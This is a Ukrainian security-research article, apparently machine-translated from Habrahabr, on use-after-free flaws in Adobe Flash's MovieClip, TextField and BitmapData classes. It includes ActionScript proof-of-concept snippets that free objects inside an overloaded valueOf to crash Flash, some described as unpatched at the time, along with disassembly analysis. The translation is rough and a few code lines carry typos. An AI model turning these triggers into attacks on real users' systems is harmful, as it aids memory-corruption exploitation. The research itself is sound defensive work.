Решето під назвою Adobe Flash

Поки ще широко розповсюджений продукт Flash Player від Adobe сумно відомий своєю безпекою. Регулярно стає відомо про черговий zero-day уразливості в Flash, що використовується хакерами в APT-кампаніях. 2015 рік видався особливо врожайним на такі уразливості. Велика частка критичних RCE-вразливостей були викликані некоректною роботою з пам'яттю: була можлива запис у звільнену пам'ять в купі процесу Flash.

У цій статті ми поисследовали безпека Adobe Flash і з'ясували, що багато його «діри в безпеці» — хронічні, і вирішити їх можна хіба що переписуванням коду з нуля, в той час як розробники ставлять латку на латку, що, звичайно, не підвищує рівень безпеки. А ще ми продемонструємо деякі знайдені нами і незакриті на даний момент уразливості!

Гучні уразливості

У лютому-березні 2015 року були виявлені схожі Use-After-Free уразливості CVE-2015-0313 і CVE-2015-0311 в ActionScript-класі ByteArray (почитати про них можна тут , тут). Об'єкт типу ByteArray, зазначений в якості domainMemory для здійснення швидких і низькорівневих операцій читання-запису в пам'ять, при зміні вказівник на буфер не повідомляв про це domainMemory, зберігає покажчик на нього.

У CVE-2015-0313 об'єкт віддалявся в іншому потоці, CVE-2015-0311 він невдало распаковывался з використанням zlib. Це дозволяло здійснювати запис в звільнену пам'ять інших об'єктів і змінювати їх, порушуючи інваріанти класів.

У липні 2015 року багато шуму наробили публічні експлойти до zero-day вразливостей CVE-2015-5119, CVE-2015-5122, витекли з зламаних архівів італійської компанії Hacking Team. Уразливі були ActionScript оператори присвоювання клітинці об'єкта ByteArray значення індексу (CVE-2015-5119) і оператор установки поля opaqueBackground в класі TextLine (CVE-2015-5122).

Очікуване значення при таких присваиваниях – кількісну. Якщо передати в якості величини присвоювання елементу ByteArray/полю opaqueBackground об'єкт інтерфейсу класу з перевантаженим методом valueOf, перед присвоєнням відбудеться неявне приведення цього об'єкта до чисельного типу, з викликом перевантаженого valueOf. Якщо в методі valueOf перед вищезгаданим присвоюванням звільняти ресурси об'єкта ByteArray/об'єкта TextLine, пам'ять стає доступною, але вказівник на неї зберігається, і по ньому відбудеться запис у звільнену пам'ять в купі.

В цілому, Use-After-Free уразливості в Flash — головний біль для Adobe, оскільки з'являються вони досить часто.

Уразливості в TextField і MovieClip від Google Project Zero

Подібні уразливості іноді містять цілі групи методів ActionScript класів. Наприклад, виявлений командою Google Project Zero набір недоліків у методах ActionScript 2 класів MovieClip і TextField дозволяв звільнити пам'ять об'єкта до спроби його використання. Деякі вразливі методи:

1. CVE-2015-8412: Об'єкт mc звільняється перед використанням при неявному виклик valueOf в методі duplicateMovieClip:

this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});

function func(){
trace("in func");
mc.removeMovieClip();
// Fix heap here
return 5;
}


2. CVE-2015-8044: Об'єкт triangle_mc звільняється перед використанням при неявному виклик valueOf в методі lineStyle:

this.createEmptyMovieClip("triangle_mc", this.getNextHighestDepth());
var o = {toString: func};
triangle_mc.lineStyle(5, 0xff00ff, 100, true, o "round", "miter", 1);

function func(){
triangle_mc.removeMovieClip();
return "ні";
}


Схожа ситуація спостерігається з методами ActionScript 2 класу TextField (CVE-2015-7652, CVE-2015-8046, CVE-2015-8423, CVE-2015-8424, CVE-2015-8425, CVE-2015-8427, CVE-2015-8428, CVE-2015-8429, CVE-2015-8430, і т. д.)

Побачивши таке неподобство, ми вирішили з'ясувати, чи справді все так погано з безпекою Flash? І… так, все погано!

Уразливості в класі BitmapData

Ми вирішили подивитися на ситуацію в інших ActionScript-класах Flash. Виявилося, набір схожих Use-After-Free вразливостей був присутній також в ActionScript 2 класі BitmapData. На момент дослідження цього класу останньою версією Flash була версія 18.0.0.209. Частина вразливостей (незалежно від нас) була пізніше виявлена іншими дослідниками, частина залишалася незакритою до появи версії 20.0.0.228.

Для звільнення пам'яті до використання об'єкта BitmapData використовувався той же трюк з перевантаженням методу valueOf у користувальницького класу. Цей метод неявно викликається, коли необхідно перетворити об'єкт класу до типу Number. Так відбувається, наприклад, при попередньому обчисленні аргументів функцій або методів.

import flash.geom.Point;
import flash.geom.Rectangle;
import flash.display.BitmapData;

class MyClass 
{
static var bitmap1:BitmapData,
bitmap2:BitmapData,
bitmap3:BitmapData;
public function MyClass() { }
static function vof()
{
trace("in valueOf..");
bitmap2.dispose();
return 1;
}
static function expl()
{
trace("in expl");
MyClass.prototype.valueOf = MyClass.vof;

var array:Array = new Array(256);
for(var i:Number= 0; i < 256; i++) {
array[i] = 0xaaddddaa;
}
array[0xFF] = new MyClass();
var o = new MyClass();
var rect:Rectangle = new Rectangle(10, 11, 2, 2);
var pt:Point = new Point(12, 12);

bitmap1 = new BitmapData(100, 100, true, 0xaabbccdd);
bitmap2 = new BitmapData(100, 100, true, 0xaabbccdd);
bitmap3 = new BitmapData(100, 100, true, 0xaabbccdd);


Тепер викликаємо уразливий метод класу BitmapData:

Bitmap2.hitTest(pt, 1, bitmap1, new Point(0, 0), o);


В даному випадку викликається уразливий метод BitmapData.hitTest з параметром типу MyClass (_loc3_[255]), який неявно приводиться до целочисленному виду шляхом виклику функції vof. В межах функції відбувається звільнення пам'яті об'єкта myBitmapData2 перед використанням покажчика на нього. В купі, де зберігається структура даних BitmapData, обнуляється вказівник на піксельний буфер (також в купі).

Вразливим є не тільки метод BitmapData.hitTest. Ось список виявлених нами вразливих методів версії Adobe Flash 18.0.0.209, разом з вразливою частиною коду.

BitmapData.draw
bitmap2.draw(bitmap1, new Matrix(0.5, array[0xFF], 0.5, 0.5));


BitmapData.copyChannel
bitmap2.copyChannel(bitmap1, rect, pt, o, 4);
bitmap1.copyChannel(bitmap2, rect, pt, o, 4);


BitmapData.copyPixels
bitmap2.copyPixels(bitmap1, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);
bitmap1.copyPixels(bitmap2, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3);


BitmapData.paletteMap
bitmap2.paletteMap(bitmap1, rect, pt, array);
bitmap1.paletteMap(bitmap2, rect, pt, array);


BitmapData.floodFill
bitmap2.floodFill(10, 10, o);


BitmapData.pixelDissolve
bitmap2.pixelDissolve(bitmap1, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);
bitmap1.pixelDissolve(bitmap2, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o);


BitmapData.merge
bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);
bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


BitmapData.getColorBounds
var z:Rectangle = bitmap2.getColorBoundsRect(array[0xFF], 0xffffffff);


BitmapData.scroll
bitmap2.scroll(o, 13);


Кожен з цих методів викликає розіменування пам'яті близько нуля при читанні і, відповідно, крах Adobe Flash версії 18.0.0.209. Частина методів викликає крах всіх версій аж до 19.0.0.245 включно, яка начебто їх всіх повинна виправляти!

Той факт, що цілі ActionScript класи мають проблеми з безпекою, вже насторожує. Але це ще не все. Виявляється, бувають в світі Adobe уразливості, які то закривають, то заново відкривають у свіжій версії!

Баг чи фіча?

Одна з вищевказаних вразливостей, в методі BitmapData.merge, була закрита ще в версії 18.0.0.232. Вона залишалася закритою аж до версії 19.0.0.245, однак, починаючи з релізу 20.0.0.228, вона знову опинилася незакритою! Наступний код викликає розіменування пам'яті в районі нуля і падіння Flash в зазначених версіях:

bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o);






Якщо тепер в методі valueOf буде видалятися об'єкт-джерело, а не об'єкт-приймач, то такий swf файл викличе крах взагалі всіх версій Flash, включаючи останню на сьогодні (21.0.0.182):

bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o);


Подивимося, що відбувається в коді Flash до його падіння. Для цього використовуємо дізассемблер IDA Pro і x86-декомпілятор Hex-Rays. Функція sub_12FDF50 викликається кілька разів при обчисленні параметрів функції BitmapData.merge, і в останній версії Flash відбувається попереднє видалення об'єкта BitmapData і обнулення комірки пам'яті за адресою [esi+0xC8] функції sub_122DD40 (мітка .text:0122DD82 в дизассемблированном коді, рядок 19 в декомпилированном код):



Після обчислення параметрів відбувається виклик процедури sub_1230D10:





Звертаємо увагу, що регістр ecx на момент виклику sub_1230D10 містить ту ж адресу, за якою було обнулити раніше при обчисленні параметрів функції BitmapData.merge і обнулення об'єкта-приймача bitmap2 в методі valueOf.

У функції sub_1230D10 відбувається розіменування пам'яті поряд з адресою, що лежить у клітинці [ecx+0xC8]. Як видно, це той адреса, за якою раніше обнулялось при видаленні об'єкта-приймача BitmapData. Результатом цього є крах Flash:



Неясно, що змушує Adobe знову відкривати раніше вже запатченные уразливості.

CVE-2015-?

Наостанок наведемо ще одну знайдену нами вразливість. Вона не пов'язана з використанням пам'яті після звільнення, проте є досить наочним прикладом уразливого коду.

Уразливість була виявлена в налагоджувальних версіях Flash для Windows (у т. ч. плагіни браузерів) в зв'язці з Adobe Flex Debugger (FDB). Вона полягає в некоректному пошуку величини за пов'язаного списку в коді Flash і спрацьовує в налагоджувальної версії Flash при запущеному налагоджувач FDB.

Сформований нами swf-файл main.swf в коді ActionScript 3 довантажує всередині себе інший swf-файл, expressInstall_.swf в коді ActionScript 2, який звертається до зовнішнього адресою:





Для аналізу знову скористаємося IDA Pro і Hex-Rays. Коли активний Flex Debugger (наприклад, під час налагодження ActionScript-коду), Flash при запуску сформованої нами swf формує повідомлення про помилку:



У функції sub_C57769 обчислюється рядок, яка буде виведена функцією sub_B8E6D9 повідомлення про помилку після слова «Base».



Для обчислення в циклі по зв'язаному списку v4 знаходиться клітинка з певними властивостями (*(*(v4 + 24) + 252) == 98). Цикл припиняється у трьох випадках:
  • якщо зустрічається відповідна клітинка (*(v6 + 252) == 98
  • якщо ми не знайшли потрібну комірку в списку за 256 кроків (v5 >= 256)
  • якщо список закінчився (v4 == 0)
Після виходу з циклу фінальна осередок використовується в подальших обчисленнях. Там і відбувається помилка на сформованому нами swf-файлі: у списку не знаходиться комірки з потрібною властивістю, і цикл завершується в кінці списку. Adobe Flash аварійно завершується після виходу з циклу з v4 == 0:



Як видно, код виходу з циклу вразливий. Потенційно можливе формування такої умови, при якому в v4 виявиться контрольований зловмисником адресу. Це можливо в разі, якщо список буде довшим 256 значень, і перші 256 не будуть задовольняти властивості (*(*(v4 + 24) + 252) == 98). Тоді цикл while завершиться за умовою (v5 >= 256), і в v4 виявляється адреса наступної за номером комірки.

Що тут ще скажеш?

Буквально днями в Adobe випустили черговий патч, що закриває 23 уразливості в Flash, включаючи критичні. За повідомленнями, одна з них вже використовується в вузьконаправлених атаках.

Можна впевнено сказати – технологія Flash з-за хронічних проблем з безпекою рано чи пізно буде остаточно витіснена з браузерів, а може бути, і з десктопів, що б про це не говорили в Adobe. Youtube вже давно успішно працює на HTML5, Mozilla вже видалили Flash зі стандартної поставки Firefox. Тепер черга за іншими гравцями на ринку – нікому не вигідно знижувати безпеку свого продукту в порівнянні з конкурентами. Так що, Flash, давай, до побачення!

Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.